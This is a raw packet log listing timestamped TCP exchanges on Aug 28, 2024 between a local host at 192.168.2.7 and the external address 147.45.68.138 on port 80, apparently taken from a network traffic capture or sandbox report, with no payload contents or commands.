Aug 28, 2024 22:55:59.063081980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063083887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063091993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063102961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063107967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063112974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063123941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063132048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063138008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063146114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063148022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063158035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063164949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063169956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063179970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063189983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063191891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063201904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063204050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063218117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063241005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063272953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063283920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063299894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063312054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063313961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063323021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063332081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063359022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063771009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063781023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063791037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063805103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063816071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063819885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063828945 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063832998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063846111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063858986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063863993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063883066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063894987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063905001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063915014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063924074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063935041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063947916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063952923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063963890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063968897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.063976049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.063992023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064009905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064013004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064023972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064033985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064055920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064062119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064070940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064073086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064084053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064095020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064102888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064106941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064122915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064146042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064843893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064887047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064893961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.064899921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.064935923 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.065068007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.065079927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.065088987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.065099955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.065124989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.065124989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.142394066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142458916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142471075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142481089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142493010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142504930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142517090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142528057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.142637968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.142637968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.143383980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143435955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143445969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143492937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143492937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.143505096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143516064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.143537045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.143559933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.144139051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.144150019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.144202948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.145962000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146030903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146034002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146048069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146059036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146070004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146076918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146095991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146112919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146117926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146131039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146142960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146153927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146155119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146166086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146177053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146198988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146219969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146248102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146261930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146275997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146287918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146291971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146297932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.146317959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.146342993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.147567034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147578001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147588015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147598982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147609949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147620916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147629023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.147633076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147640944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.147653103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.147677898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.147701979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148564100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148593903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148605108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148654938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148678064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148689032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148698092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148709059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148725033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148726940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148736954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148741007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148751020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148762941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148763895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148776054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148789883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148816109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148818970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148858070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148936033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148952007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148962975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148972988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148984909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.148992062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.148994923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149007082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149012089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149018049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149024010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149029970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149048090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149071932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149626970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149684906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149724007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149734974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149745941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149759054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149769068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149770975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149780989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149791956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149801970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149810076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149831057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149877071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149893999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149910927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149918079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149921894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149931908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149941921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149941921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149960995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149961948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149971008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149980068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149983883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.149987936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.149990082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150000095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150010109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150018930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150022030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150032997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150041103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150043964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150058985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150059938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150068998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150079012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150079966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150089979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150099039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150108099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150120020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150140047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150150061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150597095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150608063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150629997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150635958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150648117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150666952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150693893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150703907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150713921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150726080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150733948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150753021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150772095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150798082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150809050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150819063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150829077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150846958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150850058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150861979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150873899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150873899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150882959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150886059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150897980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.150942087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.150971889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151005030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151015043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151025057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151031017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151041031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151046991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151053905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151065111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151067972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151074886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151086092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151093006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151098013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151107073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151128054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151149035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151758909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151802063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151808023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151813030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151837111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151848078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151876926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151886940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151896954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151906967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151920080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.151926041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151952982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.151952982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.229384899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229412079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229429007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229440928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229449987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229460955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229471922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229480982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.229525089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.229564905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230329037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230384111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230385065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230393887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230411053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230421066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230432034 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230443954 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230460882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230493069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230504036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230514050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.230545998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.230565071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.232880116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.232937098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.232980013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.232990026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233000040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233010054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233021021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233032942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233035088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233066082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233067036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233074903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233077049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233088017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233102083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233108044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233119011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233119965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233129025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233143091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.233146906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233159065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.233175039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.234292984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234302998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234313011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234348059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.234355927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.234358072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234369040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234385014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234395027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234406948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:59.234407902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:59.234416962 CEST	80	49731	147.45.68.138	192.168.2.7
